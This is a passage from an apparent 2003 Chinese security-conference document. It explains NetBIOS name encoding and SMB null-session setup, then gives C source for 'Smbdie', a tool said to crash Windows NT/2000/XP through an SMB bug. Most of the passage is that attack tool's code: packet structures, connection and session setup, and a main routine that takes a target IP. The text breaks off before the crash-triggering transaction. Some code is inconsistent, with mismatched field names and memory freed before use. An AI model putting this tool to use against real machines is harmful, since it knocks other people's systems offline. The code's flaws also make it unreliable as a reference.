iTimeout = timeout; iRet = setsockopt(csock,SOL_SOCKET,SO_RCVTIMEO,(char*)&iTimeout,sizeof(iTimeout)); if(csock == SOCKET_ERROR) { closesocket(csock); return 1; } // 建立超时 dest.sin_family = AF_INET; dest.sin_port = htons(137); dest.sin_addr.s_addr = inet_addr(IpAddress); // 填充 sockaddr_in 结构 memset(&NbtNameHeader, 0, sizeof(NBT_NAME_HEADER)); NbtNameHeader.ID = htons(0x01F8); NbtNameHeader.Flags = htons(0x0010); NbtNameHeader.Questions = htons(0x0001); NbtNameHeader.Answer = 0; NbtNameHeader.Additional = 0; NbtNameHeader.Authority = 0; // 填充NBT_NAME_HEADER 结构 http://www.xfocus.org , http://www.xfocus.net 第 163页 共 218页

Page 164: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

SendBuf = xmalloc(sizeof(NBT_NAME_HEADER) + sizeof(NetBiosQuery)); if(!SendBuf) { closesocket(csock); return 1; }

memcpy(SendBuf, &NbtNameHeader, sizeof(NBT_NAME_HEADER)); memcpy(SendBuf+sizeof(NBT_NAME_HEADER), NetBiosQuery, sizeof(NetBiosQuery)); // 建立发送缓冲区,复制NBT_NAME_HEADER 结构和NetBiosQuery到发送缓冲区 iRet = sendto(csock, SendBuf, sizeof(NBT_NAME_HEADER) + sizeof(NetBiosQuery)-1, 0, (const sockaddr *)&dest, sizeof(dest)); if(iRet <= 0) { closesocket(csock); xfree(SendBuf); return 1; } // 发送数据 memset(&from, 0, sizeof(from)); memset(&NbtNameAnswer, 0, sizeof(NBT_NAME_ANSWER)); xfree(SendBuf);

SendBuf = xmalloc(1024); if(!SendBuf) { closesocket(csock); return 1; } iRet = recvfrom(csock, SendBuf, 1024, 0, (sockaddr *)&from, &fromlen); if(iRet < (sizeof(NBT_NAME_ANSWER) + sizeof(NBT_NAME_HEADER))) { closesocket(csock); xfree(SendBuf); return 1; } // 接收数据 memcpy(&NbtNameAnswer, SendBuf + sizeof(NBT_NAME_HEADER), sizeof(NBT_NAME_ANSWER)); // 复制接收的数据到NBT_NAME_ANSWER 结构 strncpy(szNetBiosName, NbtNameAnswer.Name, sizeof(NbtNameAnswer.Name)); // 复制接受到的NetBIOS名字到变量 szNetBiosName

http://www.xfocus.org , http://www.xfocus.net 第 164页 共 218页

Page 165: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

closesocket(csock); xfree(SendBuf); return 0; } 与一台计算机建立空连接一般需要下面这些步骤: 1 - 客户端发送已经编码的服务器的 NetBIOS 名字,如果服务端确认,发送经确认NetBIOS 数据报给客户端,客户端在确认NetBIOS名字后才能继续用 SMB协议与服务端交互。 NetBIOS名字在Windows系统下总是大写的,长度为 16 字节,它编码后为 32 字节,是这样编码的: 例如名字 PPSP,不足 16 字节后面会补充空格,16 进制为 0x50 0x50 0x53 0x50 0x20 0x20...,系统 把每一个字节分为 4位一组,变换后成为 0x5 0x0 0x5 0x0 0x5 0x3 0x5 0x0 0x2 0x0 0x2 0x0...,然后 把每一组数据都加上 ACSII 码'A'的值(0x41),最后,NetBIOS名字被编码为 32 字节。实际中的编码后 的缓冲区向下面这样: 00000030 46 41 46 41 46 ...D.FAFAF 00000040 44 46 41 43 41 43 41 43 41 43 41 43 41 43 41 43 DFACACACACACACAC 00000050 41 43 41 43 41 43 41 43 41 43 41 00 20 46 45 45 ACACACACACA..FEE 00000060 46 46 44 46 45 43 41 43 41 43 41 43 41 43 41 43 FFDFECACACACACAC 00000070 41 43 41 43 41 43 41 43 41 43 41 41 41 00 ACACACACACAAA. 下面代码可以完成编码工作: void Pad_Name(char *sName, char *dName) { char c, c1, c2; int i, len; len = strlen(sName); for (i = 0; i < 16; i++) { if (i >= len) { c1 = 'C'; c2 = 'A'; /* 空格(0x20)编码后为'CA' */ } else { c = sName[i]; c1 = (char)((int)c/16 + (int)'A'); c2 = (char)((int)c%16 + (int)'A'); } dName[i*2] = c1;

http://www.xfocus.org , http://www.xfocus.net 第 165页 共 218页

Page 166: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

dName[i*2+1] = c2; } dName[32] = 0; }

2 - 客户端发送一个 SMB Negotiate请求数据报。客户端列出了它所支持的所有 SMB协议版本。服务端返回其 SMB协议版本。 下面是Negotiate 数据报的格式: // Base SMB Header 结构 typedef struct { NBT_HEADER NBTHeader; // NetBIOS头 ULONG Protocol; // 协议的名字'SMB', 前面放一个 0xFF UCHAR Command; // 命令字,Netotiate请求为 0x72 ULONG Status; // 32-bit错误代码 UCHAR Flags; // 标志 USHORT Flags2;

UCHAR Pad[12]; // 保持位置 USHORT Tid; // Tree 标识, 用来识别资源 USHORT Pid; USHORT Uid; // 用来识别用户 USHORT Mid; } SMB_HEADER, *PSMB_HEADER; // Negotiate 请求版本结构 typedef struct { USHORT BufferFormat; char * DialectName; // 支持的 SMB协议版本名称 }Dialects; 一般情况下,常见的 SMB协议版本有: "PC NETWORK PROGRAM 1.0" "MICROSOFT NETWORKS 1.03" "MICROSOFT NETWORKS 3.0" "LANMAN1.0" "LM1.2X002" "Samba" "NT LM 0.12" "NT LANMAN 1.0" 而其中NT LM 0.12是我们常见的,Windows NT/2000/XP使用的就是这个版本。 假设我们的客户端支持上面的所以协议版本,那么我们需要用 Dialects 结构把所有协议版本复制到一个 http://www.xfocus.org , http://www.xfocus.net 第 166页 共 218页

Page 167: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

缓冲区,加上 SMB_HEADER发送给服务器。 如果服务器支持我们发送过去的所有协议版本中的一个会回复一个 SMB_HEADER加上下面结构的数据报: // SMB Negotiate 请求结构 typedef struct { UCHAR WordCount; // 支持的协议版本,NT LM 0.12为 17 USHORT DialectIndex; // 选择的协议版本的顺序号 UCHAR SecurityMode; // 安全模式: // bit 0: 0 = share, 1 = user // bit 1: 1 = encrypt passwords USHORT MaxMpxCount; // Max pending multiplexed requests USHORT MaxNumberVcs; // Max VCs between client and server ULONG MaxBufferSize; // Max transmit buffer size ULONG MaxRawSize; // Maximum raw buffer size ULONG SessionKey; // Unique token identifying this session ULONG Capabilities; // Server capabilities ULONG SystemTimeLow; // System (UTC) time of the server (low). ULONG SystemTimeHigh; // System (UTC) time of the server (high). USHORT ServerTimeZone; // Time zone of server (min from UTC) UCHAR EncryptionKeyLength; // Length of encryption key. USHORT ByteCount; // Count of data bytes }SMB_NEGOTIATEREPLY, *PSMB_NEGOTIATEREPLY; 3 - 经过 Negotiate 后,客户端发送一个 SESSION_SETUP_ANDX请求包到服务端,进行用户或共享认证。SESSION_SETUP_ANDX发送一个用户名和密码到服务端,如果是空连接,发送空的用户名和空密码到服务端,如果服务端认可客户端发送的用户名和密码,会回复一个数据报来允许或拒绝本次连接。 下面是 SESSION_SETUP_ANDX 数据报的格式: // Base SMB Header 结构 typedef struct { NBT_HEADER NBTHeader; // NetBIOS头 ULONG Protocol; // 协议的名字'SMB', 前面放一个 0xFF UCHAR Command; // 命令字,SESSION_SETUP_ANDX请求为 0x73 ULONG Status; // 32-bit错误代码 UCHAR Flags; // 标志 USHORT Flags2;

UCHAR Pad[12]; // 保持位置 USHORT Tid; // Tree 标识, 用来识别资源 USHORT Pid; USHORT Uid; // 用来识别用户 http://www.xfocus.org , http://www.xfocus.net 第 167页 共 218页

Page 168: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

USHORT Mid; } SMB_HEADER, *PSMB_HEADER; // SESSION_SETUP_ANDX 请求结构 typedef struct { UCHAR WordCount; // 如果 Negotiate 后服务端返回的 SMB协议版本为NT LM 0.12或更高,此处值为 13 UCHAR AndXCommand; // 二级扩展命令,0xFF = none UCHAR AndXReserved; USHORT AndXOffset; USHORT MaxBufferSize; // 客户端最大缓冲区长度 USHORT MaxMpxCount; // Actual maximum multiplexed pending requests USHORT VcNumber; // 0 = first (only), nonzero=additional VC number ULONG SessionKey; // Session key (valid iff VcNumber != 0) USHORT CaseInsensitivePasswordLength; USHORT CaseSensitivePasswordLength; ULONG Reserved; // Must be 0 ULONG Capabilities; // Client capabilities USHORT ByteCount; // 后续数据的长度,min = 0 }SMB_SESSIONSETUPX, *PSMB_SESSIONSETUPX; 把上面两个结构填充好,然后建立一个缓冲区包含用户名、密码、主域、本地系统、LAN Manger版本等信息,计算 好长度,填充到 SMB_SESSIONSETUPX 结构的 ByteCount 字段,发送给服务端,一个SESSION_SETUP_ANDX请求就发送了。 服务端确认后,会返回一个包含上面两个结构的数据缓冲区,其中 SMB_HEADER 结构的Uid 字段我们需要存储起来, 以后的通讯都需要用到这个字段。 4 - 好,经过上面的步骤,客户端就可以发送 TREE_CONNECT_ANDX 数据报请求服务端的服务连接了,比如 IPC ^_^。建立空连接就是通过像服务端请求 IPC 连接而建立的, 下面是 TREE_CONNECT_ANDX 数据报的格式: // Base SMB Header 结构 typedef struct { NBT_HEADER NBTHeader; // NetBIOS头 ULONG Protocol; // 协议的名字'SMB', 前面放一个 0xFF UCHAR Command; // 命令字,TREE_CONNECT_ANDX请求为 0x75 ULONG Status; // 32-bit错误代码 UCHAR Flags; // 标志 USHORT Flags2;

UCHAR Pad[12]; // 保持位置

http://www.xfocus.org , http://www.xfocus.net 第 168页 共 218页

Page 169: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

USHORT Tid; // Tree 标识, 用来识别资源 USHORT Pid; USHORT Uid; // 用来识别用户 USHORT Mid; } SMB_HEADER, *PSMB_HEADER;

// TREE_CONNECT_ANDX 请求结构 typedef struct { UCHAR WordCount; // 此处值为 4 UCHAR AndXCommand; // Secondary (X) command; 0xFF = none UCHAR AndXReserved; // Reserved (must be 0) USHORT AndXOffset; // Offset to next command WordCount USHORT Flags; // Additional information // bit 0 set = disconnect Tid USHORT PasswordLength; // Length of Password[] USHORT ByteCount; // Count of data bytes; min = 3 }SMB_TREECONNECT, *PSMB_TREECONNECT; 把上面两个结构填充好,然后建立一个缓冲区包含用密码、路径、服务等信息,计算好长度,填充到 SMB_TREECONNECT 结 构 的 ByteCount 字 段 , 发 送 给 服 务 端 , 一 个SMB_TREECONNECT请求就发送了。 服务端确认后,会返回一个包含上面两个结构的数据缓冲区,其中 SMB_HEADER 结构的Uid 字段和 Tid 字段我们 需要存储起来,以后的通讯都需要用到这个两个字段。 上面的过程基本上就是建立一个空连接的过程,通过上面的过程,我们可以和一台提供SMB协议服务的服务器建立空连接。下面我们将用一个完整的例子说明这个过程,CORE SECURITY TECHNOLOGIES曾经发现一个Windows SMB的DOS的问题,可以造成 Windows NT/2000/XP发生篮屏错误,下面代码演示这个错误。

第四节 一个简单的例子 // Visual C++ 6.0 and Windows 2000 [Version 5.00.2195] // SMB.H #ifndef NETSMB_H_ #define NETSMB_H_

#define SMBMAGICVAL MAKELONG(MAKEWORD(0xFF, 'S'), MAKEWORD('M', 'B') ) #define NBT_ADDLEN 0x00

http://www.xfocus.org , http://www.xfocus.net 第 169页 共 218页

Page 170: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

// Negotiate 请求版本结构 typedef struct { USHORT BufferFormat; char * DialectName; // 支持的 SMB协议版本名称 }Dialects; // Function Parameters typedef struct { USHORT Function_Code; unsigned char Param_Descriptor[6]; unsigned char Return_Descriptor[7]; USHORT Detail_Level; USHORT Recv_Buffer_Len; }FUNCPARAMETERS;

// SESSION_SETUP_ANDX 请求结构 typedef struct { UCHAR WordCount; // 如果 Negotiate 后服务端返回的 SMB协议版本为 NT LM 0.12或更高,此处值为 13 UCHAR AndXCommand; // 二级扩展命令,0xFF = none UCHAR AndXReserved; USHORT AndXOffset; USHORT MaxBufferSize; // 客户端最大缓冲区长度 USHORT MaxMpxCount; // Actual maximum multiplexed pending requests USHORT VcNumber; // 0 = first (only), nonzero=additional VC number ULONG SessionKey; // Session key (valid iff VcNumber != 0) USHORT CaseInsensitivePasswordLength; USHORT CaseSensitivePasswordLength; ULONG Reserved; // Must be 0 ULONG Capabilities; // Client capabilities USHORT ByteCount; // 后续数据的长度,min = 0 }SMB_SESSIONSETUPX, *PSMB_SESSIONSETUPX;

// Transaction structures typedef struct { UCHAR WordCount; // Count of parameter words; value = (14 + SetupCount) USHORT TotalParameterCount; // Total parameter bytes being sent USHORT TotalDataCount; // Total data bytes being sent USHORT MaxParameterCount; // Max parameter bytes to return USHORT MaxDataCount; // Max data bytes to return UCHAR MaxSetupCount; // Max setup words to return UCHAR Reserved; USHORT Flags; // Additional information: // bit 0 - also disconnect TID in TID

http://www.xfocus.org , http://www.xfocus.net 第 170页 共 218页

Page 171: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

// bit 1 - one-way transaction (no response) ULONG Timeout; USHORT Reserved2; USHORT ParameterCount; // Parameter bytes sent this buffer USHORT ParameterOffset; // Offset (from header start) to Parameters USHORT DataCount; // Data bytes sent this buffer USHORT DataOffset; // Offset (from header start) to data UCHAR SetupCount; // Count of setup words UCHAR Reserved3; // Reserved (pad above to word) USHORT ByteCount; // Count of data bytes }SMB_TRANSACTION, *PSMB_TRANSACTION;

// TREE_CONNECT_ANDX 请求结构 typedef struct { UCHAR WordCount; // 此处值为 4 UCHAR AndXCommand; // Secondary (X) command; 0xFF = none UCHAR AndXReserved; // Reserved (must be 0) USHORT AndXOffset; // Offset to next command WordCount USHORT Flags; // Additional information // bit 0 set = disconnect Tid USHORT PasswordLength; // Length of Password[] USHORT ByteCount; // Count of data bytes; min = 3 }SMB_TREECONNECT, *PSMB_TREECONNECT;

// SMB Negotiate 请求结构 typedef struct { UCHAR WordCount; // 支持的协议版本,NT LM 0.12为 17 USHORT DialectIndex; // 选择的协议版本的顺序号 UCHAR SecurityMode; // 安全模式: // bit 0: 0 = share, 1 = user // bit 1: 1 = encrypt passwords USHORT MaxMpxCount; // Max pending multiplexed requests USHORT MaxNumberVcs; // Max VCs between client and server ULONG MaxBufferSize; // Max transmit buffer size ULONG MaxRawSize; // Maximum raw buffer size ULONG SessionKey; // Unique token identifying this session ULONG Capabilities; // Server capabilities ULONG SystemTimeLow; // System (UTC) time of the server (low). ULONG SystemTimeHigh; // System (UTC) time of the server (high). USHORT ServerTimeZone; // Time zone of server (min from UTC) UCHAR EncryptionKeyLength; // Length of encryption key. USHORT ByteCount; // Count of data bytes }SMB_NEGOTIATEREPLY, *PSMB_NEGOTIATEREPLY;

// NBT_NAME_HEADER structures typedef struct {

http://www.xfocus.org , http://www.xfocus.net 第 171页 共 218页

Page 172: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

USHORT ID; USHORT Flags; USHORT Questions; USHORT Answer; USHORT Authority; USHORT Additional; }NBT_NAME_HEADER;

// NBT_NAME_ANSWER structures typedef struct { char Name_[34]; USHORT Type; USHORT Class; ULONG TTL; USHORT DataLen; UCHAR Number; char Name[16]; }NBT_NAME_ANSWER;

// NBT_HEADER structures typedef struct { struct { u_char packetType; u_char packetFlags; u_short packetLen; } s; } NBT_HEADER, *PNBT_HEADER;

// SMB_HEADER structures typedef struct { NBT_HEADER NBTHeader; ULONG Protocol; // Contains 0xFF,'SMB' UCHAR Command; // Command code ULONG Status; // 32-bit error code UCHAR Flags; // Flags USHORT Flags2; // More flags

UCHAR Pad[12]; // Ensure this section is 12 bytes long

USHORT Tid; // Tree identifier USHORT Pid; // Caller's process id USHORT Uid; // Unauthenticated user id USHORT Mid; // multiplex id } SMB_HEADER, *PSMB_HEADER;

// Netbios session request structures

http://www.xfocus.org , http://www.xfocus.net 第 172页 共 218页

Page 173: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

typedef struct { NBT_HEADER NBTHeader; char Blank1; char szNetBiosName[32]; char Blank2[2]; char szNullName[32]; char Blank3; } NSR_HEADER;

#define TYPE_SESSION_MESSAGE 0x00 #define TYPE_SESSION_REQUEST 0x81 #define TYPE_POSITIVE_SESSION_RESPONSE 0x82 #define TYPE_NEGATIVE_SESSION_RESPONSE0x83 #define TYPE_RETARGET_SESSION_RESPONSE 0x84 #define TYPE_SESSION_KEEP_ALIVE 0x85

#define SMB_COM_CREATE_DIRECTORY 0x00 #define SMB_COM_DELETE_DIRECTORY 0x01 #define SMB_COM_OPEN 0x02 #define SMB_COM_CREATE 0x03 #define SMB_COM_CLOSE 0x04 #define SMB_COM_FLUSH 0x05 #define SMB_COM_DELETE 0x06 #define SMB_COM_RENAME 0x07 #define SMB_COM_QUERY_INFORMATION 0x08 #define SMB_COM_SET_INFORMATION 0x09 #define SMB_COM_READ 0x0A #define SMB_COM_WRITE 0x0B #define SMB_COM_LOCK_BYTE_RANGE 0x0C #define SMB_COM_UNLOCK_BYTE_RANGE 0x0D #define SMB_COM_CREATE_TEMPORARY 0x0E #define SMB_COM_CREATE_NEW 0x0F #define SMB_COM_CHECK_DIRECTORY 0x10 #define SMB_COM_PROCESS_EXIT 0x11 #define SMB_COM_SEEK 0x12 #define SMB_COM_LOCK_AND_READ 0x13 #define SMB_COM_WRITE_AND_UNLOCK 0x14 #define SMB_COM_READ_RAW 0x1A #define SMB_COM_READ_MPX 0x1B #define SMB_COM_READ_MPX_SECONDARY 0x1C #define SMB_COM_WRITE_RAW 0x1D #define SMB_COM_WRITE_MPX 0x1E #define SMB_COM_WRITE_COMPLETE 0x20 #define SMB_COM_SET_INFORMATION2 0x22 #define SMB_COM_QUERY_INFORMATION2 0x23 #define SMB_COM_LOCKING_ANDX 0x24

http://www.xfocus.org , http://www.xfocus.net 第 173页 共 218页

Page 174: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

#define SMB_COM_TRANSACTION 0x25 #define SMB_COM_TRANSACTION_SECONDARY 0x26 #define SMB_COM_IOCTL 0x27 #define SMB_COM_IOCTL_SECONDARY 0x28 #define SMB_COM_COPY 0x29 #define SMB_COM_MOVE 0x2A #define SMB_COM_ECHO 0x2B #define SMB_COM_WRITE_AND_CLOSE 0x2C #define SMB_COM_OPEN_ANDX 0x2D #define SMB_COM_READ_ANDX 0x2E #define SMB_COM_WRITE_ANDX 0x2F #define SMB_COM_CLOSE_AND_TREE_DISC 0x31 #define SMB_COM_TRANSACTION2 0x32 #define SMB_COM_TRANSACTION2_SECONDARY 0x33 #define SMB_COM_FIND_CLOSE2 0x34 #define SMB_COM_FIND_NOTIFY_CLOSE 0x35 #define SMB_COM_TREE_CONNECT 0x70 #define SMB_COM_TREE_DISCONNECT 0x71 #define SMB_COM_NEGOTIATE 0x72 #define SMB_COM_SESSION_SETUP_ANDX 0x73 #define SMB_COM_LOGOFF_ANDX 0x74 #define SMB_COM_TREE_CONNECT_ANDX 0x75 #define SMB_COM_QUERY_INFORMATION_DISK 0x80 #define SMB_COM_SEARCH 0x81 #define SMB_COM_FIND 0x82 #define SMB_COM_FIND_UNIQUE 0x83 #define SMB_COM_NT_TRANSACT 0xA0 #define SMB_COM_NT_TRANSACT_SECONDARY 0xA1 #define SMB_COM_NT_CREATE_ANDX 0xA2 #define SMB_COM_NT_CANCEL 0xA4 #define SMB_COM_OPEN_PRINT_FILE 0xC0 #define SMB_COM_WRITE_PRINT_FILE 0xC1 #define SMB_COM_CLOSE_PRINT_FILE 0xC2 #define SMB_COM_GET_PRINT_QUEUE 0xC3 #define SMB_COM_READ_BULK 0xD8 #define SMB_COM_WRITE_BULK 0xD9 #define SMB_COM_WRITE_BULK_DATA 0xDA

#define SMB_NONE 0xFF

#define LANMANDIALECT_PCNETWORKPROGRAM10 "PC NETWORK PROGRAM 1.0" #define LANMANDIALECT_MICROSOFTNETWORKS103 "MICROSOFT NETWORKS 1.03" #define LANMANDIALECT_MICROSOFTNETWORKS30 "MICROSOFT NETWORKS 3.0"

http://www.xfocus.org , http://www.xfocus.net 第 174页 共 218页

Page 175: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

#define LANMANDIALECT_LANMAN10 "LANMAN1.0" #define LANMANDIALECT_LM12X002 "LM1.2X002" #define SAMBA "Samba" #define LANMANDIALECT_NTLM012 "NT LM 0.12" #define NTLANMAN_10 "NT LANMAN 1.0" #endif

// SMBDOS.C #include <stdio.h> #include <stdlib.h> #include <windows.h> #include "netbios.h"

#define xmalloc(s) (char *)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) // 分配内存 #define xfree(p) (char *)HeapFree (GetProcessHeap(),0,(p)) // 释放内存 #define PORT 139 // 默认NetBIOS端口 #pragma comment (lib,"ws2_32")

int Make_Connection(char *address,int port,int timeout); int Send_NetBiosName(SOCKET csock, char * szNetBios_Name); int GET_NetBiosName(char * IpAddress, char * szNetBiosName, int timeout); int Make_Negotiate(SOCKET csock, PSMB_NEGOTIATEREPLY SMB_NegotiateReply); int Make_SessionSetupX(SOCKET csock); int Make_TreeConnect(SOCKET csock); int Make_Transaction(SOCKET csock); void Pad_Name(char *sName, char *dName); void PrintHEX(char * buf, int len);

// NetBIOS名字查询字符串 unsigned char NetBiosQuery[] =

"\x20\x43\x4B\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41""\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41""\x41\x00\x00\x21\x00\x01";

Dialects Dialectsm[] = { {2, "PC NETWORK PROGRAM 1.0"}, {2, "MICROSOFT NETWORKS 1.03"}, {2, "MICROSOFT NETWORKS 3.0"}, {2, "LANMAN1.0"}, {2, "LM1.2X002"}, {2, "Samba"}, {2, "NT LM 0.12"}, {2, "NT LANMAN 1.0"},

http://www.xfocus.org , http://www.xfocus.net 第 175页 共 218页

Page 176: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

{0, NULL} };

char szBiosName[32] = "\0"; USHORT User_ID; USHORT Tree_ID;

int main(int argc, char * argv[]) { SOCKET csock; WSADATA WSAData;

int iRet;char szNetBiosName[32] = "\0";PSMB_NEGOTIATEREPLY SMB_NegotiateReply;

if(argc<2){

printf("Usage: Smbdie IP\n");return 1;

}

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("WSAStartup failed.\n"); WSACleanup(); exit(1); }

csock = Make_Connection(argv[1],PORT,10);if(csock<=0){

printf("connect error:[%d].\r\n",csock);return -3;

}

iRet = GET_NetBiosName(argv[1], szNetBiosName, 1000);if(iRet != 0){

printf("Get NetBIOS name failed.\n");closesocket(csock);WSACleanup();return 1;

}

strcpy(szBiosName, szNetBiosName);

http://www.xfocus.org , http://www.xfocus.net 第 176页 共 218页

Page 177: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

iRet = Send_NetBiosName(csock, szNetBiosName);if(iRet != 0){

closesocket(csock);WSACleanup();return 1;

}

SMB_NegotiateReply = (PSMB_NEGOTIATEREPLY)xmalloc(sizeof(SMB_NEGOTIATEREPLY));

if(!SMB_NegotiateReply){

printf("Malloc failed. \n");closesocket(csock);WSACleanup();return 1;

}xfree(SMB_NegotiateReply);

iRet = Make_Negotiate(csock, SMB_NegotiateReply);if(iRet != 0){

printf("Negotiate Protocol failed.\n");closesocket(csock);WSACleanup();return 1;

}

iRet = Make_SessionSetupX(csock);if(iRet != 0){

printf("Session setup failed.\n");closesocket(csock);WSACleanup();return 1;

}

iRet = Make_TreeConnect(csock);if(iRet != 0){

printf("Tree connect failed.\n");closesocket(csock);WSACleanup();return 1;

}

http://www.xfocus.org , http://www.xfocus.net 第 177页 共 218页

Page 178: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

iRet = Make_Transaction(csock);if(iRet != 0){

printf("Transaction failed.\n");closesocket(csock);WSACleanup();return 1;

}

printf("Wait ... \n");closesocket(csock);WSACleanup();

return 0; }

// 建立 TCP 连接 // 输入: // char * address IP地址 // int port 端口 // int timeout 延时 // 输出: // 返回: // 成功 >0 // 错误 <=0

int Make_Connection(char *address,int port,int timeout) { struct sockaddr_in target;

SOCKET s; int i;

DWORD bf; fd_set wd; struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0); if(s<0) return -1;

target.sin_family = AF_INET; target.sin_addr.s_addr = inet_addr(address); if(target.sin_addr.s_addr==0) { closesocket(s); return -2; }

http://www.xfocus.org , http://www.xfocus.net 第 178页 共 218页

Page 179: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

target.sin_port = htons(port); bf = 1; ioctlsocket(s,FIONBIO,&bf); tv.tv_sec = timeout; tv.tv_usec = 0; FD_ZERO(&wd); FD_SET(s,&wd); connect(s,(struct sockaddr *)&target,sizeof(target)); if((i=select(s+1,0,&wd,0,&tv))==(-1)) { closesocket(s); return -3; } if(i==0) { closesocket(s); return -4; } i = sizeof(int); getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i); if((bf!=0)||(i!=sizeof(int))) { closesocket(s); return -5; } ioctlsocket(s,FIONBIO,&bf); return s; }

// 建立查询字符串 // 输入: // char * sName NetBIOS名字 // 输出: // char * dName 查询字符串 // 返回:

void Pad_Name(char *sName, char *dName) {

char c, c1, c2;int i, len;len = strlen(sName);for (i = 0; i < 16; i++) {

if (i >= len) {

c1 = 'C'; c2 = 'A';

http://www.xfocus.org , http://www.xfocus.net 第 179页 共 218页

Page 180: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

} else {

c = sName[i];c1 = (char)((int)c/16 + (int)'A');c2 = (char)((int)c%16 + (int)'A');

}dName[i*2] = c1;dName[i*2+1] = c2;

}dName[32] = 0;

}

// 确认NetBIOS名字 // 输入: // SOCKET csoch 已建立连接的 sock端口 // char * szNetBios_Name NetBIOS名字 // 输出: // 返回: // 成功 !=0 // 错误 ==0

int Send_NetBiosName(SOCKET csock, char * szNetBios_Name) {

NSR_HEADER NsrHeader;NBT_HEADER NbtHeader;USHORT dwHeadSize;char * szNegotiateBuf;char szNetBiosName[33] = "\0";char szNullName[33] = "\0";int iRet;

Pad_Name(szNetBios_Name, szNetBiosName);Pad_Name("", szNullName);

dwHeadSize = sizeof(NSR_HEADER);szNegotiateBuf = xmalloc(dwHeadSize);if(!szNegotiateBuf){

printf("Not enough memory to use.\n");return 1;

}memset(&NsrHeader, 0, sizeof(NSR_HEADER));

NsrHeader.NBTHeader.s.packetType = 0x81;NsrHeader.NBTHeader.s.packetLen = htons(dwHeadSize);

http://www.xfocus.org , http://www.xfocus.net 第 180页 共 218页

Page 181: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

NsrHeader.Black1 = 0x20;NsrHeader.Black2[0] = 0x0;NsrHeader.Black2[1] = 0x20;NsrHeader.Black3 = 0x0;strncpy(NsrHeader.szNetBiosName, szNetBiosName, 32);

strncpy(NsrHeader.szNullName, szNullName, 32);

memcpy(szNegotiateBuf, &NsrHeader, sizeof(NSR_HEADER));

iRet = send(csock, (char *)szNegotiateBuf, dwHeadSize, 0);if(iRet <= 0){

xfree(szNegotiateBuf);printf("NetBIOS name test failed.\n");return 1;

}memset(&NbtHeader, 0, sizeof(NBT_HEADER));iRet = recv(csock, (char *)&NbtHeader, sizeof(NBT_HEADER), 0);if(iRet <= 0){

